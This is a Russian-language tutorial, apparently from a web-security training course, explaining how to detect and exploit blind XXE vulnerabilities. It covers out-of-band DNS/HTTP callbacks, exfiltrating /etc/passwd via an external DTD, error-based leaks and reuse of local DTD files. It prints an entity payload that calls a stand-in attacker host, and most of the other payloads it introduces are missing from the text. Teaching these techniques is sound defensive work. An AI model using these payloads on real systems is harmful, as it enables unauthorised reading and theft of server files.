Поиск и эксплуатация «слепых» XXE-уязвимостей

В этом разделе мы объясним, что такое «слепая» XXE-инъекция, и опишем различные техники поиска и эксплуатации «слепых» XXE-уязвимостей.

Что такое «слепая» XXE?

«Слепые» XXE-уязвимости возникают, когда приложение уязвимо к XXE (внедрение внешних сущностей XML), но не возвращает значения каких-либо определённых внешних сущностей в своих ответах. Это означает, что прямое извлечение серверных файлов невозможно, и поэтому «слепая» XXE, как правило, сложнее в эксплуатации, чем обычные XXE-уязвимости.

Существует два основных способа обнаружения и эксплуатации «слепых» XXE-уязвимостей:

  • Вызвать внеполосные сетевые взаимодействия (out-of-band), иногда эксфильтруя конфиденциальные данные в самих данных взаимодействия.

  • Вызвать ошибки парсинга XML таким образом, чтобы сообщения об ошибках содержали конфиденциальные данные.

Обнаружение «слепой» XXE с использованием внеполосных техник (OAST)

Часто можно обнаружить «слепую» XXE тем же приёмом, что и для XXE-атак SSRF, но с триггером внеполосного сетевого взаимодействия с системой, которую вы контролируете. Например, вы определяете внешнюю сущность следующим образом:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

Затем вы используете определённую сущность в значении данных внутри XML.

Эта XXE-атака заставляет сервер выполнить внутренний HTTP-запрос на указанный URL. Злоумышленник может отслеживать итоговый DNS-запрос и HTTP-запрос и, таким образом, определить, что XXE-атака успешна.

Иногда XXE-атаки с использованием обычных сущностей блокируются из-за валидации ввода в приложении или ужесточения настроек используемого XML-парсера. В такой ситуации можно попробовать использовать параметрические сущности XML. Параметрические сущности — это особый вид XML-сущностей, которые можно ссылать только внутри DTD. Для наших целей нужно знать два момента. Во-первых, объявление параметрической сущности XML включает символ процента перед именем сущности:

<!ENTITY % myparameterentity "my parameter entity value" >

Во-вторых, параметрические сущности ссылаются с использованием символа процента вместо привычного амперсанда:

Это означает, что вы можете тестировать «слепую» XXE с внеполосным детектированием через параметрические сущности XML следующим образом:

Эта XXE-нагрузка объявляет параметрическую сущность XML с именем xxe, а затем использует её внутри DTD. Это вызовет DNS-запрос и HTTP-запрос к домену злоумышленника, подтверждая успешность атаки.

Эксплуатация «слепой» XXE для внеполосной эксфильтрации данных

Обнаружение «слепой» XXE через внеполосные техники — это хорошо, но это ещё не демонстрирует практическую эксплуатацию уязвимости. Реальная цель злоумышленника — эксфильтрация конфиденциальных данных. Это можно реализовать через «слепую» XXE, но для этого злоумышленнику нужно разместить вредоносный DTD на контролируемой им системе и затем подключить внешний DTD из внутриполосной XXE-нагрузки.

Пример вредоносного DTD для эксфильтрации содержимого файла /etc/passwd:

Этот DTD выполняет следующие шаги:

  • Определяет параметрическую сущность XML file, содержащую содержимое файла /etc/passwd.

  • Определяет параметрическую сущность XML eval, содержащую динамическое объявление другой параметрической сущности exfiltrate. Сущность exfiltrate будет вычислена путём выполнения HTTP-запроса на веб-сервер злоумышленника с включённым в строку запроса значением сущности file.

  • Использует сущность eval, что приводит к динамическому объявлению сущности exfiltrate.

  • Использует сущность exfiltrate, из-за чего её значение вычисляется запросом указанного URL.

Злоумышленник должен разместить вредоносный DTD на контролируемой системе, обычно загрузив его на собственный веб-сервер. Например, DTD может обслуживаться по следующему URL:

Наконец, злоумышленник отправляет в уязвимое приложение следующую XXE-нагрузку:

Эта XXE-нагрузка объявляет параметрическую сущность XML xxe, а затем использует её внутри DTD. Это заставит XML-парсер загрузить внешний DTD с сервера злоумышленника и интерпретировать его inline. Затем выполняются шаги из вредоносного DTD, и файл /etc/passwd передаётся на сервер злоумышленника.

Note

Этот приём может не сработать с некоторыми типами содержимого файлов, включая символы новой строки, присутствующие в /etc/passwd. Это потому, что некоторые XML-парсеры получают URL во внешней сущности через API, который валидирует допустимые символы в URL. В такой ситуации можно попробовать использовать протокол FTP вместо HTTP. Иногда эксфильтрация данных, содержащих символы новой строки, невозможна, и тогда можно нацелиться, например, на файл /etc/hostname.

Эксплуатация «слепой» XXE для извлечения данных через сообщения об ошибках

Альтернативный подход к эксплуатации «слепой» XXE — вызвать ошибку парсинга XML, при которой сообщение об ошибке содержит интересующие вас конфиденциальные данные. Это эффективно, если приложение возвращает получившееся сообщение об ошибке в своём ответе.

Вы можете вызвать сообщение об ошибке парсинга XML, содержащее содержимое файла /etc/passwd, с помощью следующего вредоносного внешнего DTD:

Этот DTD выполняет следующие шаги:

  • Определяет параметрическую сущность XML file, содержащую содержимое файла /etc/passwd.

  • Определяет параметрическую сущность XML eval, содержащую динамическое объявление другой параметрической сущности error. Сущность error будет вычислена путём загрузки несуществующего файла, имя которого содержит значение сущности file.

  • Использует сущность eval, что приводит к динамическому объявлению сущности error.

  • Использует сущность error, из-за чего её значение вычисляется попыткой загрузить несуществующий файл, что приводит к сообщению об ошибке, содержащему имя несуществующего файла, то есть содержимое файла /etc/passwd.

Вызов внешнего вредоносного DTD приведёт к сообщению об ошибке примерно следующего вида:

Эксплуатация «слепой» XXE путём повторного использования локального DTD

Предыдущая техника хорошо работает с внешним DTD, но обычно не работает с внутренним DTD, полностью заданным внутри элемента DOCTYPE. Это потому, что техника использует параметрическую сущность XML внутри определения другой параметрической сущности. По спецификации XML это допустимо во внешних DTD, но не во внутренних (некоторые парсеры допускают, но многие нет).

Что делать со «слепой» XXE, когда внеполосные взаимодействия заблокированы? Нельзя эксфильтровать данные по внеполосному соединению и нельзя загрузить внешний DTD с удалённого сервера.

В такой ситуации всё ещё может быть возможно вызывать сообщения об ошибках, содержащие конфиденциальные данные, благодаря лазейке в спецификации XML. Если DTD документа — гибрид внутренних и внешних объявлений, то внутренний DTD может переопределять сущности, объявленные во внешнем DTD. В этом случае ограничение на использование параметрической сущности внутри определения другой параметрической сущности ослабляется.

Это означает, что злоумышленник может применять технику ошибко-ориентированной XXE из внутреннего DTD, при условии, что используемая параметрическая сущность переопределяет сущность, объявленную во внешнем DTD. Разумеется, если внеполосные соединения заблокированы, внешний DTD нельзя загрузить удалённо. Вместо этого нужен внешний DTD-файл, локальный для сервера приложения. По сути, атака заключается во вызове DTD-файла, который есть на локальной файловой системе, и его «переиспользовании» для переопределения существующей сущности так, чтобы спровоцировать ошибку парсинга с утечкой конфиденциальных данных. Эта техника была предложена Арсением Шароглазовым и заняла 7-е место в нашем топ-10 техник веб-хакинга 2018.

Например, предположим, что на сервере есть DTD-файл по пути /usr/local/app/schema.dtd, и в этом DTD объявлена сущность custom_entity. Злоумышленник может вызвать сообщение об ошибке парсинга XML, содержащее содержимое файла /etc/passwd, отправив гибридный DTD вроде следующего:

Этот DTD выполняет следующие шаги:

  • Определяет параметрическую сущность XML local_dtd, содержащую содержимое внешнего DTD-файла, существующего на файловой системе сервера.

  • Переопределяет параметрическую сущность XML custom_entity, уже объявленную во внешнем DTD-файле. Сущность переопределяется так, чтобы содержать эксплойт ошибко-ориентированной XXE, описанный выше, для генерации сообщения об ошибке с содержимым файла /etc/passwd.

  • Использует сущность local_dtd, из-за чего внешний DTD интерпретируется с учётом переопределённого значения custom_entity. Это приводит к желаемому сообщению об ошибке.

Поиск существующего DTD для повторного использования

Поскольку эта XXE-атака повторно использует существующий DTD на файловой системе сервера, ключевое требование — найти подходящий файл. Это на самом деле довольно просто. Так как приложение возвращает любые сообщения об ошибках, генерируемые XML-парсером, вы можете легко перечислить локальные DTD-файлы, просто пытаясь загрузить их из внутреннего DTD.

Например, в системах Linux с рабочим столом GNOME часто есть DTD-файл по пути /usr/share/yelp/dtd/docbookx.dtd. Вы можете проверить наличие этого файла, отправив следующую XXE-нагрузку, которая вызовет ошибку, если файл отсутствует:

После того как вы проверили список распространённых DTD-файлов и нашли присутствующий файл, вам нужно получить его копию и изучить, чтобы найти сущность, которую можно переопределить. Поскольку многие распространённые системы, включающие DTD-файлы, являются open source, обычно можно быстро получить копии файлов через поиск в интернете.

Last updated